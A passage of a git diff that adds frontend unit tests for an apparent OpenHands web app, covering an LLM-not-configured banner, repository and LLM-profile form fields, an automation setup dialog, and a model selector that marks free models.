+    );
+    vi.spyOn(ProfilesService, "listProfiles").mockResolvedValue({
+      profiles: [
+        {
+          name: "active-profile",
+          model: "openai/gpt-4.1",
+          base_url: null,
+          api_key_set: true,
+        },
+      ],
+      active_profile: "active-profile",
+    });
+
+    // Act
+    renderBanner();
+    await screen.findByTestId("queries-settled");
+
+    // Assert
+    expect(
+      screen.queryByTestId("home-llm-not-configured-banner"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("stays hidden for ACP agents, which own their LLM and need no key", async () => {
+    // Arrange: ACP agent, no key — must not be nagged.
+    //
+    // The ACTIVE AGENT PROFILE is what decides this; `agent_settings` is only
+    // the fallback while the profile list loads. Both are set to ACP here so
+    // the case states its own intent — before the mock handlers covered
+    // /api/agent-profiles, this passed because the list request errored and
+    // left the hook on the settings fallback.
+    vi.spyOn(AgentProfilesService, "listProfiles").mockResolvedValue({
+      profiles: [
+        {
+          id: "acp-profile-id",
+          name: "acp",
+          agent_kind: "acp",
+          revision: 1,
+          llm_profile_ref: null,
+          mcp_server_refs: null,
+        },
+      ],
+      active_agent_profile_id: "acp-profile-id",
+    });
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        llm_api_key_set: false,
+        agent_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+          agent_kind: "acp",
+        },
+      }),
+    );
+
+    // Act
+    renderBanner();
+    await screen.findByTestId("queries-settled");
+
+    // Assert
+    expect(
+      screen.queryByTestId("home-llm-not-configured-banner"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("stays hidden when the LLM settings page is hidden by feature flag", async () => {
+    // Arrange: no key, but the settings page is hidden — routing the user to
+    // /settings/llm would dead-end, so the hook treats the LLM as configured.
+    vi.spyOn(OptionService, "getConfig").mockResolvedValue(buildConfig(true));
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({ llm_api_key_set: false }),
+    );
+
+    // Act
+    renderBanner();
+    await screen.findByTestId("queries-settled");
+
+    // Assert
+    expect(
+      screen.queryByTestId("home-llm-not-configured-banner"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("warns when settings 404 — the genuine new-user state — despite the error flag", async () => {
+    // Arrange: a 404 means no settings exist yet. useSettings maps it to
+    // DEFAULT_SETTINGS (no key) while keeping isError set, so the banner must
+    // still appear — this is the real "Skip for now" state. Guards against
+    // conflating this with a transient fetch error that should suppress it.
+    vi.spyOn(SettingsService, "getSettings").mockRejectedValue({ status: 404 });
+
+    // Act
+    renderBanner();
+
+    // Assert
+    expect(
+      await screen.findByTestId("home-llm-not-configured-banner"),
+    ).toBeInTheDocument();
+  });
+
+  it("routes the user to LLM settings when the action is clicked", async () => {
+    // Arrange
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({ llm_api_key_set: false }),
+    );
+    const user = userEvent.setup();
+    const { navigate } = renderBanner();
+
+    // Act
+    await user.click(
+      await screen.findByTestId("home-llm-not-configured-action"),
+    );
+
+    // Assert
+    expect(navigate).toHaveBeenCalledWith("/settings/llm");
+  });
+});
diff --git a/__tests__/components/manifest/manifest-form-field.test.tsx b/__tests__/components/manifest/manifest-form-field.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..01bb5061b17ee8a63e8f42214820142722cda0a0
--- /dev/null
+++ b/__tests__/components/manifest/manifest-form-field.test.tsx
@@ -0,0 +1,279 @@
+import { useState } from "react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import { SetupFormField } from "#/components/features/manifest/manifest-form-field";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import type { Backend } from "#/api/backend-registry/types";
+import type {
+  SetupFormField as SetupFormFieldDefinition,
+  SetupFormValue,
+} from "#/manifests/types";
+
+const LOCAL_BACKEND: Backend = {
+  id: "local-1",
+  name: "Local",
+  host: "http://localhost:18000",
+  apiKey: "",
+  kind: "local",
+};
+
+const CLOUD_BACKEND: Backend = {
+  id: "cloud-1",
+  name: "OpenHands Cloud",
+  host: "https://app.all-hands.dev",
+  apiKey: "bearer-token",
+  kind: "cloud",
+};
+
+/** The repository input `github-pr-reviewer` declares, in its published shape. */
+const REPOSITORY_FIELD: SetupFormFieldDefinition = {
+  type: "repo-picker",
+  label: "Repository",
+  help: "The repository whose pull requests will be reviewed.",
+  provider: "github",
+  required: true,
+};
+
+/** Holds the field value the way the setup dialog does, so typing accumulates. */
+function Harness({
+  field = REPOSITORY_FIELD,
+  initialValue = "",
+  onValueChange,
+}: {
+  field?: SetupFormFieldDefinition;
+  initialValue?: SetupFormValue;
+  onValueChange: (value: SetupFormValue) => void;
+}) {
+  const [value, setValue] = useState<SetupFormValue>(initialValue);
+
+  return (
+    <SetupFormField
+      name="repository"
+      field={field}
+      value={value}
+      options={[]}
+      repository={null}
+      disabled={false}
+      onChange={(next) => {
+        setValue(next);
+        onValueChange(next);
+      }}
+      onRepositoryChange={vi.fn()}
+      onBlur={vi.fn()}
+    />
+  );
+}
+
+function renderRepositoryField(
+  backend: Backend,
+  harness: {
+    field?: SetupFormFieldDefinition;
+    initialValue?: SetupFormValue;
+  } = {},
+) {
+  setRegisteredBackends([backend]);
+  setActiveSelection({ backendId: backend.id });
+
+  const onValueChange = vi.fn();
+  render(
+    <QueryClientProvider
+      client={
+        new QueryClient({ defaultOptions: { queries: { retry: false } } })
+      }
+    >
+      <ActiveBackendProvider>
+        <Harness {...harness} onValueChange={onValueChange} />
+      </ActiveBackendProvider>
+    </QueryClientProvider>,
+  );
+
+  return { onValueChange, user: userEvent.setup() };
+}
+
+/** The same field once the entry asks for several repositories. */
+const REPOSITORIES_FIELD: SetupFormFieldDefinition = {
+  ...REPOSITORY_FIELD,
+  label: "Repositories",
+  multiple: true,
+};
+
+beforeEach(() => {
+  __resetActiveStoreForTests();
+});
+
+afterEach(() => {
+  __resetActiveStoreForTests();
+});
+
+const LLM_PROFILE_FIELD: SetupFormFieldDefinition = {
+  type: "llm-profile",
+  label: "LLM profile",
+  help: "Which profile should run the automation.",
+  required: false,
+};
+
+describe("SetupFormField llm-profile", () => {
+  it("shows an empty disabled dropdown instead of a text input", () => {
+    // Arrange / Act
+    renderRepositoryField(LOCAL_BACKEND, { field: LLM_PROFILE_FIELD });
+
+    // Assert — profile names must come from the backend; when none are loaded,
+    // the form should not invite users to type an unchecked profile name.
+    const profileInput = screen.getByTestId("setup-field-repository");
+    expect(profileInput).toHaveAttribute("role", "combobox");
+    expect(profileInput).toBeDisabled();
+    expect(profileInput).toHaveAttribute(
+      "placeholder",
+      "MODEL$NO_SAVED_PROFILES",
+    );
+  });
+});
+
+describe("SetupFormField repo-picker", () => {
+  it("lets a repository be typed on a backend that cannot list them", async () => {
+    // Arrange — a local backend, where GitService answers every repository
+    // query with an empty page.
+    const { onValueChange, user } = renderRepositoryField(LOCAL_BACKEND);
+
+    // Act
+    await user.type(
+      screen.getByTestId("setup-field-repository"),
+      "OpenHands/agent-server-gui",
+    );
+
+    // Assert — the required field is answerable, in the `owner/repo` shape the
+    // create payload sends as `repos[0].url`.
+    expect(onValueChange).toHaveBeenLastCalledWith(
+      "OpenHands/agent-server-gui",
+    );
+  });
+
+  it("collects several repositories when the entry asks for several", async () => {
+    // Arrange
+    const { onValueChange, user } = renderRepositoryField(LOCAL_BACKEND, {
+      field: REPOSITORIES_FIELD,
+      initialValue: [],
+    });
+
+    // Act
+    await user.type(
+      screen.getByTestId("setup-field-repository"),
+      "OpenHands/automation",
+    );
+    await user.click(screen.getByTestId("setup-list-repository-add"));
+    await user.type(
+      screen.getByTestId("setup-field-repository"),
+      "OpenHands/extensions",
+    );
+    await user.click(screen.getByTestId("setup-list-repository-add"));
+
+    // Assert — one automation polling both, which is what the entry supports.
+    expect(onValueChange).toHaveBeenLastCalledWith([
+      "OpenHands/automation",
+      "OpenHands/extensions",
+    ]);
+  });
+
+  it("adds a repository on Enter rather than submitting a half-built list", async () => {
+    // Arrange
+    const { onValueChange, user } = renderRepositoryField(LOCAL_BACKEND, {
+      field: REPOSITORIES_FIELD,
+      initialValue: [],
+    });
+
+    // Act
+    await user.type(
+      screen.getByTestId("setup-field-repository"),
+      "OpenHands/automation{Enter}",
+    );
+
+    // Assert
+    expect(onValueChange).toHaveBeenLastCalledWith(["OpenHands/automation"]);
+  });
+
+  it("does not add a repository already in the list", async () => {
+    // Arrange — adding it twice polls it twice per run for one result.
+    const { onValueChange, user } = renderRepositoryField(LOCAL_BACKEND, {
+      field: REPOSITORIES_FIELD,
+      initialValue: ["OpenHands/automation"],
+    });
+
+    // Act
+    await user.type(
+      screen.getByTestId("setup-field-repository"),
+      "OpenHands/automation{Enter}",
+    );
+
+    // Assert
+    expect(onValueChange).not.toHaveBeenCalled();
+  });
+
+  it("removes a repository from the list", async () => {
+    // Arrange
+    const { onValueChange, user } = renderRepositoryField(LOCAL_BACKEND, {
+      field: REPOSITORIES_FIELD,
+      initialValue: ["OpenHands/automation", "OpenHands/extensions"],
+    });
+
+    // Act
+    await user.click(
+      screen.getByTestId("setup-list-repository-remove-OpenHands/automation"),
+    );
+
+    // Assert
+    expect(onValueChange).toHaveBeenLastCalledWith(["OpenHands/extensions"]);
+  });
+
+  it("names the input the entry's own label for a screen reader", () => {
+    // Arrange — the label is rendered above the list rather than on the input,
+    // which is how an input ends up announced as nothing at all.
+    renderRepositoryField(LOCAL_BACKEND, {
+      field: REPOSITORIES_FIELD,
+      initialValue: [],
+    });
+
+    // Assert
+    expect(screen.getByRole("textbox", { name: "Repositories" })).toBe(
+      screen.getByTestId("setup-field-repository"),
+    );
+  });
+
+  it("keeps a repository typed but not added, rather than dropping it", async () => {
+    // Arrange — the input still shows the text, so leaving the field is the
+    // user saying they answered it.
+    const { onValueChange, user } = renderRepositoryField(LOCAL_BACKEND, {
+      field: REPOSITORIES_FIELD,
+      initialValue: ["OpenHands/automation"],
+    });
+
+    // Act
+    await user.type(
+      screen.getByTestId("setup-field-repository"),
+      "OpenHands/extensions",
+    );
+    await user.tab();
+
+    // Assert
+    expect(onValueChange).toHaveBeenLastCalledWith([
+      "OpenHands/automation",
+      "OpenHands/extensions",
+    ]);
+  });
+
+  it("browses the account's repositories on a cloud backend", () => {
+    // Arrange / Act
+    renderRepositoryField(CLOUD_BACKEND);
+
+    // Assert — the picker stays the way a repository is chosen wherever it can
+    // actually answer, so there is nothing to type into.
+    expect(screen.getByTestId("git-repo-dropdown")).toBeInTheDocument();
+    expect(screen.queryByTestId("setup-field-repository")).toBeNull();
+  });
+});
diff --git a/__tests__/components/manifest/manifest-setup-dialog.test.tsx b/__tests__/components/manifest/manifest-setup-dialog.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..4cba8318e6e18119b5edbd6c86e53d32fdbf6bab
--- /dev/null
+++ b/__tests__/components/manifest/manifest-setup-dialog.test.tsx
@@ -0,0 +1,512 @@
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import AutomationService from "#/api/automation-service/automation-service.api";
+import { SetupDialog } from "#/components/features/manifest/manifest-setup-dialog";
+import type { SetupPrerequisitesResult } from "#/hooks/query/use-manifest-prerequisites";
+import type { DeploymentCapabilities, SetupEntry } from "#/manifests/types";
+import {
+  createSetup,
+  createSetupEntry,
+} from "../../manifests/manifest-test-data";
+
+/**
+ * The dialog is the part of setup that is not pure: it owns the step order, the
+ * local check that has to pass before the service is asked anything, what the
+ * action is handed, and where a finished setup lands. Each stage it drives has
+ * its own test, so those are stubbed here and only the wiring is exercised.
+ */
+const mocks = vi.hoisted(() => ({
+  navigate: vi.fn(),
+  runAction: vi.fn(),
+  prerequisites: vi.fn(),
+  capabilities: vi.fn(),
+  llmProfiles: vi.fn(),
+  missingCreateEndpoints: vi.fn<(entry: SetupEntry) => string[]>(() => []),
+  tracking: {
+    trackAutomationSetupOpened: vi.fn(),
+    trackAutomationSetupValidated: vi.fn(),
+    trackAutomationSetupCreated: vi.fn(),
+    trackAutomationSetupFailed: vi.fn(),
+  },
+}));
+
+vi.mock("react-router", async (importOriginal) => ({
+  ...(await importOriginal<typeof import("react-router")>()),
+  useNavigate: () => mocks.navigate,
+}));
+
+// A local backend, where the repository field is a plain input rather than the
+// picker only a cloud backend can populate.
+vi.mock("#/contexts/active-backend-context", () => ({
+  useActiveBackend: () => ({
+    backend: { id: "local-1", kind: "local" },
+    orgId: null,
+  }),
+}));
+
+vi.mock("#/hooks/query/use-manifest-capabilities", () => ({
+  useSetupCapabilities: () => mocks.capabilities(),
+}));
+
+vi.mock("#/hooks/query/use-manifest-prerequisites", () => ({
+  useSetupPrerequisites: () => mocks.prerequisites(),
+}));
+
+vi.mock("#/hooks/query/use-llm-profiles", () => ({
+  useLlmProfiles: (options: { enabled?: boolean } = {}) =>
+    mocks.llmProfiles(options),
+}));
+
+// Which endpoints an entry cannot be created without is read off the published
+// interface manifest, so a real one that declares them leaves the refusal path
+// unreachable. Stubbed so the case states the manifest it is about, rather than
+// depending on the packaged manifest continuing not to publish them.
+vi.mock("#/manifests/automation-setup", async (importOriginal) => ({
+  ...(await importOriginal<typeof import("#/manifests/automation-setup")>()),
+  missingCreateEndpoints: mocks.missingCreateEndpoints,
+}));
+
+vi.mock("#/manifests/manifest-actions", () => ({
+  useSetupAction: () => mocks.runAction,
+}));
+
+vi.mock("#/hooks/use-tracking", () => ({
+  useTracking: () => mocks.tracking,
+}));
+
+vi.mock("#/api/automation-service/automation-service.api", () => ({
+  default: { validateDraft: vi.fn() },
+}));
+
+const NOTHING_TO_CONNECT: SetupPrerequisitesResult = {
+  blockingIntegrations: [],
+  warningIntegrations: [],
+  isBlocked: false,
+  isLoading: false,
+};
+
+const ENTRY: SetupEntry = createSetupEntry();
+
+function renderDialog(entry: SetupEntry = ENTRY) {
+  const user = userEvent.setup();
+  render(
+    <QueryClientProvider
+      client={
+        new QueryClient({ defaultOptions: { queries: { retry: false } } })
+      }
+    >
+      <SetupDialog entry={entry} onClose={vi.fn()} />
+    </QueryClientProvider>,
+  );
+  return { user };
+}
+
+/** Answer the two required fields the entry ships without a default. */
+async function fillForm(user: ReturnType<typeof userEvent.setup>) {
+  await user.type(
+    screen.getByTestId("setup-field-repository"),
+    "OpenHands/agent-server-gui",
+  );
+  await user.type(screen.getByTestId("setup-field-widgetName"), "Widgets");
+}
+
+beforeEach(() => {
+  vi.clearAllMocks();
+  // clearAllMocks resets calls, not implementations, so the one case that
+  // stubs a manifest without the bundle endpoints would leak into the rest.
+  mocks.missingCreateEndpoints.mockReturnValue([]);
+  mocks.prerequisites.mockReturnValue(NOTHING_TO_CONNECT);
+  mocks.capabilities.mockReturnValue({
+    capabilities: null,
+    supported: "unknown",
+    unmet: [],
+    isLoading: false,
+  });
+  mocks.llmProfiles.mockReturnValue({
+    data: { profiles: [] },
+    isLoading: false,
+  });
+  vi.mocked(AutomationService.validateDraft).mockResolvedValue({
+    valid: true,
+    errors: [],
+  });
+});
+
+/** The same entry once it asks for several repositories. */
+const MULTI_REPO_ENTRY: SetupEntry = (() => {
+  const { form } = createSetup();
+  return createSetupEntry({
+    setup: createSetup({
+      form: {
+        ...form,
+        args: {
+          ...form.args,
+          repository: { ...form.args.repository, multiple: true },
+        },
+      },
+    }),
+  });
+})();
+
+/** An entry that ships a script bundle rather than a prompt. */
+const BUNDLE_ENTRY: SetupEntry = createSetupEntry({
+  setup: createSetup({
+    prompt: undefined,
+    bundle: {
+      version: "1.0.0",
+      entrypoint: "python3 main.py",
+      files: { "main.py": "skills/widget-monitor/scripts/main.py" },
+      config: { repos: ["{{form.repository}}"] },
+    },
+  }),
+});
+
+/** A deployment that answered discovery and came up short. */
+const UNSUPPORTED = {
+  capabilities: null,
+  supported: false as const,
+  unmet: ["webhookDelivery"],
+  isLoading: false,
+};
+
+const CRON_ONLY_CAPABILITIES: DeploymentCapabilities = {
+  ready: true,
+  maxAutomationTimeoutSeconds: 900,
+  triggerKinds: ["cron"],
+  eventSources: ["github"],
+  eventTypes: ["issue_comment.created"],
+  triggers: {
+    cron: { minIntervalSeconds: 60, timezones: ["UTC"] },
+    event: { filterLanguage: "jmespath", filterFunctions: ["icontains"] },
+  },
+  features: [],
+};
+
+const EVENT_FIRST_MIXED_TRIGGER_ENTRY: SetupEntry = (() => {
+  const { form } = createSetup();
+  return createSetupEntry({
+    setup: createSetup({
+      form: {
+        ...form,
+        triggers: {
+          event: {
+            source: {
+              type: "event-source",
+              label: "Event source",
+              help: "Where events come from.",
+              default: "github",
+              required: true,
+            },
+            on: {
+              type: "event-type",
+              label: "Event type",
+              help: "Which event to watch.",
+              default: "issue_comment.created",
+              required: true,
+            },
+            mention: {
+              type: "text",
+              label: "Mention",
+              help: "Text that must appear in the comment.",
+              default: "@openhands",
+              required: true,
+            },
+          },
+          cron: form.triggers!.cron,
+        },
+      },
+      filter: "icontains(comment.body, '{{form.mention}}')",
+    }),
+  });
+})();
+
+const LLM_PROFILE_ENTRY: SetupEntry = (() => {
+  const { form } = createSetup();
+  return createSetupEntry({
+    setup: createSetup({
+      form: {
+        ...form,
+        args: {
+          ...form.args,
+          model: {
+            type: "llm-profile",
+            label: "LLM profile",
+            help: "Which saved profile should run this automation.",
+            required: false,
+          },
+        },
+      },
+    }),
+  });
+})();
+
+describe("SetupDialog", () => {
+  it("asks about an unconnected integration before it asks anything else", async () => {
+    // Arrange — an advisory integration, which is shown but does not block.
+    mocks.prerequisites.mockReturnValue({
+      ...NOTHING_TO_CONNECT,
+      warningIntegrations: [
+        {
+          id: "github",
+          requirement: { message: "Used to read widgets.", required: false },
+          entry: null,
+        },
+      ],
+    });
+    const { user } = renderDialog();
+
+    // Act
+    expect(screen.getByTestId("setup-prerequisites")).toBeInTheDocument();
+    await user.click(screen.getByTestId("setup-continue-button"));
+
+    // Assert
+    expect(screen.getByTestId("setup-field-widgetName")).toBeInTheDocument();
+    expect(screen.queryByTestId("setup-prerequisites")).toBeNull();
+  });
+
+  it("hides trigger variants unsupported by the deployment", async () => {
+    mocks.capabilities.mockReturnValue({
+      capabilities: CRON_ONLY_CAPABILITIES,
+      supported: true,
+      unmet: [],
+      isLoading: false,
+    });
+    mocks.runAction.mockResolvedValue({ response: { id: "automation-1" } });
+    const { user } = renderDialog(EVENT_FIRST_MIXED_TRIGGER_ENTRY);
+
+    await waitFor(() =>
+      expect(screen.getByTestId("setup-field-schedule")).toBeInTheDocument(),
+    );
+    expect(screen.queryByTestId("setup-trigger-kind")).toBeNull();
+    expect(screen.queryByTestId("setup-field-source")).toBeNull();
+    await fillForm(user);
+
+    await user.click(screen.getByTestId("setup-continue-button"));
+    await waitFor(() =>
+      expect(screen.getByTestId("setup-review")).toBeInTheDocument(),
+    );
+    await user.click(screen.getByTestId("setup-continue-button"));
+
+    await waitFor(() => expect(mocks.runAction).toHaveBeenCalled());
+    expect(mocks.runAction.mock.calls[0][2]).toEqual({
+      name: "Widget monitor - OpenHands/agent-server-gui",
+      prompt: "Report on Widgets in OpenHands/agent-server-gui.",
+      repos: [{ url: "OpenHands/agent-server-gui", provider: "github" }],
+      trigger: { type: "cron", schedule: "*/15 * * * *" },
+    });
+    expect(mocks.runAction.mock.calls[0][3]).toBe("cron");
+  });
+
+  it("holds an unanswered required field back from the service", async () => {
+    // Arrange — nothing typed, so two required fields are still empty.
+    const { user } = renderDialog();
+
+    // Act
+    await user.click(screen.getByTestId("setup-continue-button"));
+
+    // Assert — the local check reports the field's own code rather than
+    // collapsing every failure into one message, and nothing was sent.
+    expect(
+      screen.getByTestId("setup-field-widgetName-error"),
+    ).toHaveTextContent("SETUP$VALIDATION_REQUIRED");
+    expect(AutomationService.validateDraft).not.toHaveBeenCalled();
+    expect(screen.queryByTestId("setup-review")).toBeNull();
+  });
+
+  it("creates from the derived payload and opens what was created", async () => {
+    // Arrange
+    mocks.runAction.mockResolvedValue({ response: { id: "automation-1" } });
+    const { user } = renderDialog();
+    await fillForm(user);
+
+    // Act
+    await user.click(screen.getByTestId("setup-continue-button"));
+    await waitFor(() =>
+      expect(screen.getByTestId("setup-review")).toBeInTheDocument(),
+    );
+    await user.click(screen.getByTestId("setup-continue-button"));
+
+    // Assert — the action is handed the derived request body, not the raw
+    // answers, and the new automation is where setup lands.
+    await waitFor(() =>
+      expect(mocks.navigate).toHaveBeenCalledWith("/automations/automation-1", {
+        replace: true,
+      }),
+    );
+    expect(mocks.runAction.mock.calls[0][2]).toEqual({
+      name: "Widget monitor - OpenHands/agent-server-gui",
+      prompt: "Report on Widgets in OpenHands/agent-server-gui.",
+      repos: [{ url: "OpenHands/agent-server-gui", provider: "github" }],
+      trigger: { type: "cron", schedule: "*/15 * * * *" },
+    });
+  });
+
+  it("waits for LLM profiles before continuing", () => {
+    // Arrange — profile names come from the backend, not the manifest, so the
+    // form should not validate while that closed set is still unknown.
+    mocks.llmProfiles.mockReturnValue({ data: undefined, isLoading: true });
+
+    // Act
+    renderDialog(LLM_PROFILE_ENTRY);
+
+    // Assert
+    expect(mocks.llmProfiles).toHaveBeenCalledWith({ enabled: true });
+    expect(screen.getByTestId("setup-continue-button")).toBeDisabled();
+    expect(screen.getByTestId("setup-field-model")).toHaveAttribute(
+      "role",
+      "combobox",
+    );
+    expect(screen.getByTestId("setup-field-model")).toBeDisabled();
+  });
+
+  it("submits a selected backend LLM profile name", async () => {
+    // Arrange
+    mocks.llmProfiles.mockReturnValue({
+      data: { profiles: [{ name: "Fast" }, { name: "Smart" }] },
+      isLoading: false,
+    });
+    mocks.runAction.mockResolvedValue({ response: { id: "automation-1" } });
+    const { user } = renderDialog(LLM_PROFILE_ENTRY);
+
+    // Act
+    const modelInput = screen.getByTestId("setup-field-model");
+    expect(modelInput).toHaveAttribute("role", "combobox");
+    await user.click(modelInput);
+    await user.click(await screen.findByText("Smart"));
+    await fillForm(user);
+    await user.click(screen.getByTestId("setup-continue-button"));
+    await waitFor(() =>
+      expect(screen.getByTestId("setup-review")).toBeInTheDocument(),
+    );
+    await user.click(screen.getByTestId("setup-continue-button"));
+
+    // Assert
+    await waitFor(() => expect(mocks.runAction).toHaveBeenCalled());
+    expect(mocks.runAction.mock.calls[0][2]).toEqual({
+      name: "Widget monitor - OpenHands/agent-server-gui",
+      model: "Smart",
+      prompt: "Report on Widgets in OpenHands/agent-server-gui.",
+      repos: [{ url: "OpenHands/agent-server-gui", provider: "github" }],
+      trigger: { type: "cron", schedule: "*/15 * * * *" },
+    });
+  });
+
+  it("offers the conversation fallback when the deployment cannot run a direct entry", async () => {
+    // Arrange — capabilities answered and came up short, and the entry ships
+    // a fallback-conversation seed.
+    mocks.capabilities.mockReturnValue(UNSUPPORTED);
+    mocks.runAction.mockResolvedValue({
+      response: { conversation_id: "conv-1" },
+    });
+    const entry = createSetupEntry({
+      setup: createSetup({
+        message: "Set this up in a conversation instead.",
+      }),
+    });
+    const { user } = renderDialog(entry);
+
+    // Act
+    await user.click(screen.getByTestId("setup-fallback-conversation"));
+
+    // Assert — the action runs with no payload, the assisted outcome, and
+    // setup lands in the conversation that will finish it.
+    await waitFor(() =>
+      expect(mocks.navigate).toHaveBeenCalledWith("/conversations/conv-1", {
+        replace: true,
+      }),
+    );
+    expect(mocks.runAction).toHaveBeenCalledWith(
+      entry,
+      expect.anything(),
+      null,
+      "cron",
+      null,
+    );
+  });
+
+  it("keeps the unsupported screen close-only when there is nothing to fall back to", () => {
+    // Arrange — no skill command resolves for this entry and it declares no
+    // fallback message, so a conversation would open empty-handed.
+    mocks.capabilities.mockReturnValue(UNSUPPORTED);
+    renderDialog();
+
+    // Assert
+    expect(screen.queryByTestId("setup-fallback-conversation")).toBeNull();
+  });
+
+  it("carries a repository typed but not added through to the review step", async () => {
+    // Arrange — the list is built by adding entries, and the input still shows
+    // what was typed when the user reaches for Continue.
+    const { user } = renderDialog(MULTI_REPO_ENTRY);
+    await user.type(screen.getByTestId("setup-field-widgetName"), "Widgets");
+    await user.type(
+      screen.getByTestId("setup-field-repository"),
+      "OpenHands/automation",
+    );
+
+    // Act — Continue, without pressing Add or Enter first.
+    await user.click(screen.getByTestId("setup-continue-button"));
+
+    // Assert — the answer the user could still see is the one being confirmed.
+    await waitFor(() =>
+      expect(screen.getByTestId("setup-review")).toBeInTheDocument(),
+    );
+    expect(screen.getByTestId("setup-review")).toHaveTextContent(
+      "OpenHands/automation",
+    );
+  });
+
+  it("refuses an entry the published interface declares no way to create", async () => {
+    // Arrange — a bundle entry against an interface manifest published before
+    // bundles: neither endpoint it needs exists, and no answer supplies them.
+    mocks.missingCreateEndpoints.mockReturnValue(["createBundle", "uploads"]);
+    renderDialog(BUNDLE_ENTRY);
+
+    // Assert — said before the form, rather than as a Continue button that
+    // silently does nothing once the form is filled in.
+    expect(screen.getByTestId("setup-unmet-requirements")).toHaveTextContent(
+      "createBundle, uploads",
+    );
+    expect(screen.queryByTestId("setup-field-widgetName")).toBeNull();
+  });
+
+  it("returns a rejected create to the field the service blamed", async () => {
+    // Arrange — a validation failure addressed by payload path, which only the
+    // derived error map can turn back into a field.
+    mocks.runAction.mockRejectedValue(
+      Object.assign(new Error("Unprocessable Entity"), {
+        name: "HttpError",
+        status: 422,
+        response: {
+          detail: [
+            {
+              loc: ["body", "trigger", "cron", "schedule"],
+              msg: "Interval is too short",
+            },
+          ],
+        },
+      }),
+    );
+    const { user } = renderDialog();
+    await fillForm(user);
+
+    // Act
+    await user.click(screen.getByTestId("setup-continue-button"));
+    await waitFor(() =>
+      expect(screen.getByTestId("setup-review")).toBeInTheDocument(),
+    );
+    await user.click(screen.getByTestId("setup-continue-button"));
+
+    // Assert — back on the form, with the message against `schedule` rather
+    // than against the form as a whole.
+    await waitFor(() =>
+      expect(
+        screen.getByTestId("setup-field-schedule-error"),
+      ).toHaveTextContent("Interval is too short"),
+    );
+    expect(screen.queryByTestId("setup-review")).toBeNull();
+    expect(mocks.navigate).not.toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/components/modals/settings/model-selector-openhands.test.tsx b/__tests__/components/modals/settings/model-selector-openhands.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..1c7e7927ea5185fbf7fd909bebd9beca6880e839
--- /dev/null
+++ b/__tests__/components/modals/settings/model-selector-openhands.test.tsx
@@ -0,0 +1,134 @@
+import { describe, expect, it, beforeEach, vi } from "vitest";
+import React from "react";
+import { render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { http, HttpResponse } from "msw";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { ModelSelector } from "#/components/shared/modals/settings/model-selector";
+import type { LLMModel } from "#/api/config-service/config-service.types";
+import { server } from "#/mocks/node";
+
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({
+    t: (key: string, values?: { ids?: string }) =>
+      key === "SETTINGS$OPENHANDS_FREE_MODELS_NOTE"
+        ? `Free OpenHands models: ${values?.ids}. Other provider endpoints with similar model names may require separate billing.`
+        : key,
+  }),
+}));
+
+// The "Free" badge is DB-driven: the backend model list carries a `free` flag
+// per item (the same channel as `verified`). These tests drive the selector
+// through the model list rather than the (free-less) local /api/llm channel.
+const OPENHANDS_MODELS: LLMModel[] = [
+  {
+    provider: "openhands",
+    name: "claude-opus-4-7",
+    verified: true,
+    free: false,
+    default: false,
+  },
+  {
+    provider: "openhands",
+    name: "glm-5.2",
+    verified: true,
+    free: true,
+    default: true,
+  },
+  {
+    provider: "openhands",
+    name: "deepseek-v4-flash",
+    verified: true,
+    free: true,
+    default: false,
+  },
+  {
+    provider: "openhands",
+    name: "minimax-m2.7",
+    verified: true,
+    free: true,
+    default: false,
+  },
+];
+
+vi.mock("#/hooks/query/use-provider-models", () => ({
+  useProviderModels: (provider: string | null) => ({
+    data: provider === "openhands" ? OPENHANDS_MODELS : [],
+    isLoading: false,
+    error: null,
+  }),
+}));
+
+describe("ModelSelector — OpenHands provider display", () => {
+  beforeEach(() => {
+    // Use "*" prefix to match both relative paths and absolute URLs (e.g.,
+    // http://127.0.0.1:8000/api/...) when VITE_BACKEND_BASE_URL is configured.
+    server.use(
+      http.get("*/api/llm/providers", () =>
+        HttpResponse.json({
+          providers: ["openhands", "anthropic", "openai"],
+        }),
+      ),
+      http.get("*/api/llm/models/verified", () =>
+        HttpResponse.json({
+          models: {
+            openhands: [
+              "claude-opus-4-7",
+              "glm-5.2",
+              "deepseek-v4-flash",
+              "minimax-m2.7",
+            ],
+            anthropic: ["claude-opus-4-5-20251101"],
+          },
+        }),
+      ),
+      http.get("*/api/llm/models", () => HttpResponse.json({ models: [] })),
+    );
+  });
+
+  function renderWithQuery(ui: React.ReactElement) {
+    const queryClient = new QueryClient({
+      defaultOptions: { queries: { retry: false } },
+    });
+    return render(
+      <QueryClientProvider client={queryClient}>{ui}</QueryClientProvider>,
+    );
+  }
+
+  it("shows OpenHands immediately for current openhands/<m> settings", async () => {
+    renderWithQuery(<ModelSelector currentModel="openhands/claude-opus-4-7" />);
+
+    await waitFor(() => {
+      expect(screen.getByLabelText("LLM$PROVIDER")).toHaveValue("OpenHands");
+    });
+  });
+
+  it("makes clear which OpenHands models are free", async () => {
+    const user = userEvent.setup();
+    renderWithQuery(
+      <ModelSelector currentModel="openhands/deepseek-v4-flash" />,
+    );
+
+    await waitFor(() => {});
+    expect(screen.getByTestId("openhands-free-models-note")).toHaveTextContent(
+      "openhands/deepseek-v4-flash",
+    );
